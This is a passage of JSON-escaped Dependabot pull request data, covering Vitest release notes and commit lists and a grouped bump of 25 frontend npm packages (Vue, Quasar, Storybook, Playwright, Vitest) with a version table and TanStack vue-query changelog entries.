href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev5.0.4\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eexperimental\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eTag cache directories with CACHEDIR.TAG  -  by \u003ca href=\"https://github.com/lifeiscontent\"\u003e\u003ccode\u003e@​lifeiscontent\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11461\"\u003evitest-dev/vitest#11461\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a8ea3c8fd\"\u003e\u003c!-- raw HTML omitted --\u003e(a8ea3)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport \u003ccode\u003etest.ui.theme\u003c/code\u003e option  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11499\"\u003evitest-dev/vitest#11499\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/1da66405d\"\u003e\u003c!-- raw HTML omitted --\u003e(1da66)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHighlight selector multiple matches in trace view  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11489\"\u003evitest-dev/vitest#11489\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5abba1e1b\"\u003e\u003c!-- raw HTML omitted --\u003e(5abba)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePrint how many tests were affected and a total when running \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11424\"\u003evitest-dev/vitest#11424\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a23368585\"\u003e\u003c!-- raw HTML omitted --\u003e(a2336)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd an option to cache dependencies instead of statically parsing them  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11515\"\u003evitest-dev/vitest#11515\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/c06012ac8\"\u003e\u003c!-- raw HTML omitted --\u003e(c0601)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd fit and zoom controls to trace viewer  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11490\"\u003evitest-dev/vitest#11490\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f5dd99ed0\"\u003e\u003c!-- raw HTML omitted --\u003e(f5dd9)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFail the run on git and location filter errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11430\"\u003evitest-dev/vitest#11430\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/30d0304d2\"\u003e\u003c!-- raw HTML omitted --\u003e(30d03)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnable fsModuleCache by default  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11435\"\u003evitest-dev/vitest#11435\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ad208cc29\"\u003e\u003c!-- raw HTML omitted --\u003e(ad208)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTrack project files and mocks with --changed  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11432\"\u003evitest-dev/vitest#11432\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b0f2b3bb9\"\u003e\u003c!-- raw HTML omitted --\u003e(b0f2b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRefactor caching, fix \u003ccode\u003e:\u003c/code\u003e in project and change the shape of \u003ccode\u003eresults\u003c/code\u003e cache  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11453\"\u003evitest-dev/vitest#11453\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9673c49a4\"\u003e\u003c!-- raw HTML omitted --\u003e(9673c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep full \u003ccode\u003e$\u003c/code\u003e string values when \u003ccode\u003etaskTitleValueFormatTruncate\u003c/code\u003e is 0  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11485\"\u003evitest-dev/vitest#11485\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4f7e1799b\"\u003e\u003c!-- raw HTML omitted --\u003e(4f7e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve node builtins in client environments  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11417\"\u003evitest-dev/vitest#11417\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/56b319ac6\"\u003e\u003c!-- raw HTML omitted --\u003e(56b31)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix module graph builtin externals after \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11421\"\u003e#11421\u003c/a\u003e  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11491\"\u003evitest-dev/vitest#11491\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11421\"\u003evitest-dev/vitest#11421\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/008e184cb\"\u003e\u003c!-- raw HTML omitted --\u003e(008e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWrap module mocks during in-source testing  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11505\"\u003evitest-dev/vitest#11505\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/36d19cb00\"\u003e\u003c!-- raw HTML omitted --\u003e(36d19)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle line endings in snapshot  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11522\"\u003evitest-dev/vitest#11522\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4c468aa40\"\u003e\u003c!-- raw HTML omitted --\u003e(4c468)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRespect root in projects  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11521\"\u003evitest-dev/vitest#11521\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/26642f793\"\u003e\u003c!-- raw HTML omitted --\u003e(26642)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve mocks in directories with spaces  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11539\"\u003evitest-dev/vitest#11539\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/caaef9416\"\u003e\u003c!-- raw HTML omitted --\u003e(caaef)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePublish the api token atomically  -  by \u003ca href=\"https://github.com/umairnawaz333\"\u003e\u003ccode\u003e@​umairnawaz333\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11323\"\u003evitest-dev/vitest#11323\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6f990fef1\"\u003e\u003c!-- raw HTML omitted --\u003e(6f990)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6ed371e43f80ff327f5063693bd6b1ad\"\u003e\u003ccode\u003e6621a72\u003c/code\u003e\u003c/a\u003e fix: abort all running tests on cancel (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11606\"\u003e#11606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0c8d6867de06a3df43ea28a05eeec444\"\u003e\u003ccode\u003ee9c3d72\u003c/code\u003e\u003c/a\u003e fix: release mocks of finished test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11607\"\u003e#11607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c2625943d824e257b87ae57a14094e90eed\"\u003e\u003ccode\u003e8dd67c2\u003c/code\u003e\u003c/a\u003e fix(browser): run global setup once with instances (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11596\"\u003e#11596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a447203a29a0708fbc5de4fb91ea501bdc395\"\u003e\u003ccode\u003e6c5a447\u003c/code\u003e\u003c/a\u003e fix: run hook cleanups when a later hook fails (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11605\"\u003e#11605\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894f456b85db91f3824ebe833449305c04\"\u003e\u003ccode\u003e9697b38\u003c/code\u003e\u003c/a\u003e fix: keep the import frame in native loader errors (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11599\"\u003e#11599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a3ae8961f6f2a8abdc89015b6fd0b3aa\"\u003e\u003ccode\u003e6498b66\u003c/code\u003e\u003c/a\u003e fix(browser): wait 30s for the browser to close (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11601\"\u003e#11601\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2b3c0bc84982d374094379139e380791\"\u003e\u003ccode\u003ef161e6d\u003c/code\u003e\u003c/a\u003e fix(browser): drop late connections of closed sessions (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11600\"\u003e#11600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6c6aa75481bffe5880b5c4e35ea67927\"\u003e\u003ccode\u003efe86a64\u003c/code\u003e\u003c/a\u003e fix: skip builtin loading in async leak detector (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11598\"\u003e#11598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff0734cf476e30186a83aebe6771aa330\"\u003e\u003ccode\u003e6ae8e89\u003c/code\u003e\u003c/a\u003e fix(reporter): end reason \u003ccode\u003e'failed'\u003c/code\u003e on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11568\"\u003e#11568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/VibeTrunk/kut/pull/350","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/VibeTrunk%2Fkut/issues/350","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/350/packages"},{"uuid":"6005476044","node_id":"PR_kwDOD8KJKM8AAAABKWJkDQ","number":1337,"state":"closed","title":"Bump the frontend-dependencies group across 1 directory with 25 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-10-23T21:22:47.000Z","author_association":null,"state_reason":null,"created_at":"2026-10-23T21:08:30.000Z","updated_at":"2026-10-23T21:22:48.000Z","time_to_close":857,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"frontend-dependencies","update_count":25,"packages":[{"name":"@tanstack/vue-query","old_version":"5.104.1","new_version":"5.104.5","repository_url":"https://github.com/TanStack/query"},{"name":"@tanstack/vue-query-devtools","old_version":"6.3.1","new_version":"6.3.5","repository_url":"https://github.com/TanStack/query"},{"name":"pinia","old_version":"4.0.3","new_version":"4.1.0","repository_url":"https://github.com/vuejs/pinia"},{"name":"quasar","old_version":"2.35.0","new_version":"2.35.2","repository_url":"https://github.com/quasarframework/quasar"},{"name":"vue","old_version":"3.5.43","new_version":"3.5.44","repository_url":"https://github.com/vuejs/core"},{"name":"@playwright/test","old_version":"1.64.0","new_version":"1.64.1","repository_url":"https://github.com/microsoft/playwright"},{"name":"@quasar/app-vite","old_version":"3.10.2","new_version":"3.10.3","repository_url":"https://github.com/quasarframework/quasar"},{"name":"@storybook/addon-a11y","old_version":"10.6.1","new_version":"10.6.3","repository_url":"https://github.com/storybookjs/storybook"},{"name":"@storybook/addon-docs","old_version":"10.6.1","new_version":"10.6.3","repository_url":"https://github.com/storybookjs/storybook"},{"name":"@storybook/addon-links","old_version":"10.6.1","new_version":"10.6.3","repository_url":"https://github.com/storybookjs/storybook"},{"name":"@storybook/addon-vitest","old_version":"10.6.1","new_version":"10.6.3","repository_url":"https://github.com/storybookjs/storybook"},{"name":"@storybook/vue3-vite","old_version":"10.6.1","new_version":"10.6.3","repository_url":"https://github.com/storybookjs/storybook"},{"name":"@tanstack/eslint-plugin-query","old_version":"5.104.1","new_version":"5.104.5","repository_url":"https://github.com/TanStack/query"},{"name":"@vitest/browser-playwright","old_version":"5.0.3","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"@vitest/coverage-v8","old_version":"5.0.3","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"eslint","old_version":"10.12.0","new_version":"10.13.0","repository_url":"https://github.com/eslint/eslint"},{"name":"eslint-plugin-storybook","old_version":"10.6.1","new_version":"10.6.3","repository_url":"https://github.com/storybookjs/storybook"},{"name":"jsdom","old_version":"30.1.2","new_version":"30.1.3","repository_url":"https://github.com/jsdom/jsdom"},{"name":"npm-run-all2","old_version":"9.0.3","new_version":"9.0.4","repository_url":"https://github.com/bcomnes/npm-run-all2"},{"name":"playwright","old_version":"1.64.0","new_version":"1.64.1","repository_url":"https://github.com/microsoft/playwright"},{"name":"sass-embedded","old_version":"1.105.1","new_version":"1.106.0","repository_url":"https://github.com/sass/embedded-host-node"},{"name":"storybook","old_version":"10.6.2","new_version":"10.6.3","repository_url":"https://github.com/storybookjs/storybook"},{"name":"vite","old_version":"8.3.4","new_version":"8.3.5","repository_url":"https://github.com/vitejs/vite"},{"name":"vitest","old_version":"5.0.3","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"vue-tsc","old_version":"3.3.12","new_version":"3.3.13","repository_url":"https://github.com/vuejs/language-tools"}],"path":null,"ecosystem":"npm"},"body":"Bumps the frontend-dependencies group with 25 updates in the /ui/menu-website directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@tanstack/vue-query](https://github.com/TanStack/query/tree/HEAD/packages/vue-query) | `5.104.1` | `5.104.5` |\n| [@tanstack/vue-query-devtools](https://github.com/TanStack/query/tree/HEAD/packages/vue-query-devtools) | `6.3.1` | `6.3.5` |\n| [pinia](https://github.com/vuejs/pinia) | `4.0.3` | `4.1.0` |\n| [quasar](https://github.com/quasarframework/quasar/tree/HEAD/ui) | `2.35.0` | `2.35.2` |\n| [vue](https://github.com/vuejs/core) | `3.5.43` | `3.5.44` |\n| [@playwright/test](https://github.com/microsoft/playwright) | `1.64.0` | `1.64.1` |\n| [@quasar/app-vite](https://github.com/quasarframework/quasar/tree/HEAD/app-vite) | `3.10.2` | `3.10.3` |\n| [@storybook/addon-a11y](https://github.com/storybookjs/storybook/tree/HEAD/code/addons/a11y) | `10.6.1` | `10.6.3` |\n| [@storybook/addon-docs](https://github.com/storybookjs/storybook/tree/HEAD/code/addons/docs) | `10.6.1` | `10.6.3` |\n| [@storybook/addon-links](https://github.com/storybookjs/storybook/tree/HEAD/code/addons/links) | `10.6.1` | `10.6.3` |\n| [@storybook/addon-vitest](https://github.com/storybookjs/storybook/tree/HEAD/code/addons/vitest) | `10.6.1` | `10.6.3` |\n| [@storybook/vue3-vite](https://github.com/storybookjs/storybook/tree/HEAD/code/frameworks/vue3-vite) | `10.6.1` | `10.6.3` |\n| [@tanstack/eslint-plugin-query](https://github.com/TanStack/query/tree/HEAD/packages/eslint-plugin-query) | `5.104.1` | `5.104.5` |\n| [@vitest/browser-playwright](https://github.com/vitest-dev/vitest/tree/HEAD/packages/browser-playwright) | `5.0.3` | `5.0.5` |\n| [@vitest/coverage-v8](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8) | `5.0.3` | `5.0.5` |\n| [eslint](https://github.com/eslint/eslint) | `10.12.0` | `10.13.0` |\n| [eslint-plugin-storybook](https://github.com/storybookjs/storybook/tree/HEAD/code/lib/eslint-plugin) | `10.6.1` | `10.6.3` |\n| [jsdom](https://github.com/jsdom/jsdom) | `30.1.2` | `30.1.3` |\n| [npm-run-all2](https://github.com/bcomnes/npm-run-all2) | `9.0.3` | `9.0.4` |\n| [playwright](https://github.com/microsoft/playwright) | `1.64.0` | `1.64.1` |\n| [sass-embedded](https://github.com/sass/embedded-host-node) | `1.105.1` | `1.106.0` |\n| [storybook](https://github.com/storybookjs/storybook/tree/HEAD/code/core) | `10.6.2` | `10.6.3` |\n| [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) | `8.3.4` | `8.3.5` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `5.0.3` | `5.0.5` |\n| [vue-tsc](https://github.com/vuejs/language-tools/tree/HEAD/packages/tsc) | `3.3.12` | `3.3.13` |\n\n\nUpdates `@tanstack/vue-query` from 5.104.1 to 5.104.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/releases\"\u003e@​tanstack/vue-query's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/f608f933a36da30670082e90d0a56b2569290563\"\u003e\u003ccode\u003ef608f93\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/1fee0443dbeb346b8401557ca286a66cdec7ad71\"\u003e\u003ccode\u003e1fee044\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/fce89ddf7a35b14252096ff64a1217efd81b415c\"\u003e\u003ccode\u003efce89dd\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/0f15bc925db5813be6a17527988ec7d7b3c8cfc0\"\u003e\u003ccode\u003e0f15bc9\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11796\"\u003e#11796\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/69e114aecfdbd0a05625065aea4e43415fa386b3\"\u003e\u003ccode\u003e69e114a\u003c/code\u003e\u003c/a\u003e - Export the \u003ccode\u003eMutationResult\u003c/code\u003e type so inferred \u003ccode\u003euseMutation\u003c/code\u003e return types can be named when emitting declarations\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca 